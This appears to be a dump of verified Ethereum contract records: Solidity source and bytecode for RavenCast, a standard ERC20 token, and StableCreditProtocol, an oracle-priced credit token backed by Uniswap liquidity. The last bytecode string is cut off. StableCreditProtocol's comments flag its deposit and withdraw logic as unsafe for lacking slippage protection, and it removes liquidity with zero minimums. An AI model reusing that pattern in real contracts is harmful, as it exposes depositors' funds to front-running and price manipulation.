* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract RavenCast is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "RavenCast";
_symbol = "RAVEN";
_totalSupply = 1000000000 * (10**decimals());
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0),msg.sender,_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _afterTokenTransfer( address from,address to,uint256 amount) internal virtual {}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e50565b60405180910390f35b6100e660048036038101906100e19190610c9a565b610308565b6040516100f39190610e35565b60405180910390f35b610104610326565b6040516101119190610f52565b60405180910390f35b610134600480360381019061012f9190610c47565b610330565b6040516101419190610e35565b60405180910390f35b610152610431565b60405161015f9190610f6d565b60405180910390f35b610182600480360381019061017d9190610c9a565b61043a565b60405161018f9190610e35565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f52565b60405180910390f35b6101d061052e565b6040516101dd9190610e50565b60405180910390f35b61020060048036038101906101fb9190610c9a565b6105c0565b60405161020d9190610e35565b60405180910390f35b610230600480360381019061022b9190610c9a565b6106b4565b60405161023d9190610e35565b60405180910390f35b610260600480360381019061025b9190610c07565b6106d2565b60405161026d9190610f52565b60405180910390f35b606060038054610285906110b6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110b6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ed2565b60405180910390fd5b61042585610414610759565b85846104209190610ffa565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610fa4565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110b6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f32565b60405180910390fd5b6106a9610697610759565b8585846106a49190610ffa565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f12565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e92565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f52565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ef2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e72565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610eb2565b60405180910390fd5b8181610aa99190610ffa565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610fa4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f52565b60405180910390a350505050565b505050565b600081359050610bbf81611385565b92915050565b600081359050610bd48161139c565b92915050565b600060208284031215610bf057610bef611146565b5b6000610bfe84828501610bb0565b91505092915050565b60008060408385031215610c1e57610c1d611146565b5b6000610c2c85828601610bb0565b9250506020610c3d85828601610bb0565b9150509250929050565b600080600060608486031215610c6057610c5f611146565b5b6000610c6e86828701610bb0565b9350506020610c7f86828701610bb0565b9250506040610c9086828701610bc5565b9150509250925092565b60008060408385031215610cb157610cb0611146565b5b6000610cbf85828601610bb0565b9250506020610cd085828601610bc5565b9150509250929050565b610ce381611040565b82525050565b6000610cf482610f88565b610cfe8185610f93565b9350610d0e818560208601611083565b610d178161114b565b840191505092915050565b6000610d2f602383610f93565b9150610d3a8261115c565b604082019050919050565b6000610d52602283610f93565b9150610d5d826111ab565b604082019050919050565b6000610d75602683610f93565b9150610d80826111fa565b604082019050919050565b6000610d98602883610f93565b9150610da382611249565b604082019050919050565b6000610dbb602583610f93565b9150610dc682611298565b604082019050919050565b6000610dde602483610f93565b9150610de9826112e7565b604082019050919050565b6000610e01602583610f93565b9150610e0c82611336565b604082019050919050565b610e208161106c565b82525050565b610e2f81611076565b82525050565b6000602082019050610e4a6000830184610cda565b92915050565b60006020820190508181036000830152610e6a8184610ce9565b905092915050565b60006020820190508181036000830152610e8b81610d22565b9050919050565b60006020820190508181036000830152610eab81610d45565b9050919050565b60006020820190508181036000830152610ecb81610d68565b9050919050565b60006020820190508181036000830152610eeb81610d8b565b9050919050565b60006020820190508181036000830152610f0b81610dae565b9050919050565b60006020820190508181036000830152610f2b81610dd1565b9050919050565b60006020820190508181036000830152610f4b81610df4565b9050919050565b6000602082019050610f676000830184610e17565b92915050565b6000602082019050610f826000830184610e26565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610faf8261106c565b9150610fba8361106c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fef57610fee6110e8565b5b828201905092915050565b60006110058261106c565b91506110108361106c565b925082821015611023576110226110e8565b5b828203905092915050565b60006110398261104c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156110a1578082015181840152602081019050611086565b838111156110b0576000848401525b50505050565b600060028204905060018216806110ce57607f821691505b602082108114156110e2576110e1611117565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61138e8161102e565b811461139957600080fd5b50565b6113a58161106c565b81146113b057600080fd5b5056fea264697066735822122071752e5b85e6f8d749a6da5688fe31746aab5f47164c719388ca14a6670bd5ff64736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 9,190 |
0x4f413194b3e87e9b7e4ede6a80d13a9f4aea1f77
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface UniswapPair {
function mint(address to) external returns (uint liquidity);
}
interface Oracle {
function getPriceUSD(address reserve) external view returns (uint);
}
interface UniswapRouter {
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function factory() external view returns (address);
}
interface UniswapFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract StableCreditProtocol is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
// Oracle used for price debt data (external to the AMM balance to avoid internal manipulation)
Oracle public constant LINK = Oracle(0x271bf4568fb737cc2e6277e9B1EE0034098cDA2a);
// Uniswap v2
UniswapRouter public constant UNI = UniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Maximum credit issued off of deposits (to avoid infinite leverage)
uint public constant MAX = 7500;
uint public constant BASE = 10000;
// user => token => credit
mapping (address => mapping(address => uint)) public credit;
// user => token => balance
mapping (address => mapping(address => uint)) public balances;
// How much system liquidity is provided by this asset
function utilization(address token) public view returns (uint) {
address pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
uint _ratio = BASE.sub(BASE.mul(balanceOf(pair)).div(totalSupply()));
if (_ratio == 0) {
return MAX;
}
return _ratio > MAX ? MAX : _ratio;
}
constructor () public ERC20Detailed("StableCredit", "USD", 8) {}
function depositAll(address token) external {
deposit(token, IERC20(token).balanceOf(msg.sender));
}
function deposit(address token, uint amount) public {
_deposit(token, amount);
}
// UNSAFE: No slippage protection, should not be called directly
function _deposit(address token, uint amount) internal {
uint value = LINK.getPriceUSD(token).mul(amount).div(uint256(10)**ERC20Detailed(token).decimals());
require(value > 0, "!value");
address pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
if (pair == address(0)) {
pair = UniswapFactory(UNI.factory()).createPair(token, address(this));
}
IERC20(token).safeTransferFrom(msg.sender, pair, amount);
_mint(pair, value); // Amount of aUSD to mint
uint _before = IERC20(pair).balanceOf(address(this));
UniswapPair(pair).mint(address(this));
uint _after = IERC20(pair).balanceOf(address(this));
// Assign LP tokens to user, token <> pair is deterministic thanks to CREATE2
balances[msg.sender][token] = balances[msg.sender][token].add(_after.sub(_before));
// Calculate utilization ratio of the asset. The more an asset contributes to the system, the less credit issued
// This mechanism avoids large influx of deposits to overpower the system
// Calculated after deposit to see impact of current deposit (prevents front-running credit)
uint _credit = value.mul(utilization(token)).div(BASE);
credit[msg.sender][token] = credit[msg.sender][token].add(_credit);
_mint(msg.sender, _credit);
}
function withdrawAll(address token) external {
_withdraw(token, IERC20(this).balanceOf(msg.sender));
}
function withdraw(address token, uint amount) external {
_withdraw(token, amount);
}
// UNSAFE: No slippage protection, should not be called directly
function _withdraw(address token, uint amount) internal {
uint _credit = credit[msg.sender][token];
uint _uni = balances[msg.sender][token];
if (_credit < amount) {
amount = _credit;
}
_burn(msg.sender, amount);
credit[msg.sender][token] = credit[msg.sender][token].sub(amount);
// Calculate % of collateral to release
_uni = _uni.mul(amount).div(_credit);
address pair = UniswapFactory(UNI.factory()).getPair(token, address(this));
IERC20(pair).safeApprove(address(UNI), 0);
IERC20(pair).safeApprove(address(UNI), _uni);
UNI.removeLiquidity(
token,
address(this),
_uni,
0,
0,
address(this),
now.add(1800)
);
uint amountA = IERC20(token).balanceOf(address(this));
uint amountB = balanceOf(address(this));
uint valueA = LINK.getPriceUSD(token).mul(amountA).div(uint256(10)**ERC20Detailed(token).decimals());
require(valueA > 0, "!value");
// Collateral increased in value, but we max at amount B withdrawn
if (valueA > amountB) {
valueA = amountB;
}
_burn(address(this), valueA); // Amount of aUSD to burn (value of A leaving the system)
IERC20(token).safeTransfer(msg.sender, amountA);
if (amountB > valueA) { // Asset A appreciated in value, receive credit diff
IERC20(this).safeTransfer(msg.sender, balanceOf(address(this)));
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80639f0d5f27116100b8578063cc1f0d2d1161007c578063cc1f0d2d146106fb578063d49d518114610773578063dd62ed3e14610791578063ec342ad014610809578063f3fef3a314610827578063fa09e6301461087557610142565b80639f0d5f271461051b578063a457c2d71461055f578063a9059cbb146105c5578063bf20d9dc1461062b578063c23f001f1461068357610142565b8063313ce5671161010a578063313ce5671461031e578063395093511461034257806347e7ef24146103a8578063541bcb76146103f657806370a082311461044057806395d89b411461049857610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd146102305780631b6b6d231461024e57806323b872dd14610298575b600080fd5b61014f6108b9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061095b565b604051808215151515815260200191505060405180910390f35b610238610979565b6040518082815260200191505060405180910390f35b610256610983565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610304600480360360608110156102ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061099b565b604051808215151515815260200191505060405180910390f35b610326610a74565b604051808260ff1660ff16815260200191505060405180910390f35b61038e6004803603604081101561035857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a8b565b604051808215151515815260200191505060405180910390f35b6103f4600480360360408110156103be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3e565b005b6103fe610b4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104826004803603602081101561045657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b64565b6040518082815260200191505060405180910390f35b6104a0610bac565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e05780820151818401526020810190506104c5565b50505050905090810190601f16801561050d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61055d6004803603602081101561053157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c4e565b005b6105ab6004803603604081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d12565b604051808215151515815260200191505060405180910390f35b610611600480360360408110156105db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ddf565b604051808215151515815260200191505060405180910390f35b61066d6004803603602081101561064157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dfd565b6040518082815260200191505060405180910390f35b6106e56004803603604081101561069957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611002565b6040518082815260200191505060405180910390f35b61075d6004803603604081101561071157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611027565b6040518082815260200191505060405180910390f35b61077b61104c565b6040518082815260200191505060405180910390f35b6107f3600480360360408110156107a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611052565b6040518082815260200191505060405180910390f35b6108116110d9565b6040518082815260200191505060405180910390f35b6108736004803603604081101561083d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110df565b005b6108b76004803603602081101561088b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110ed565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109515780601f1061092657610100808354040283529160200191610951565b820191906000526020600020905b81548152906001019060200180831161093457829003601f168201915b5050505050905090565b600061096f6109686111b1565b84846111b9565b6001905092915050565b6000600254905090565b73271bf4568fb737cc2e6277e9b1ee0034098cda2a81565b60006109a88484846113b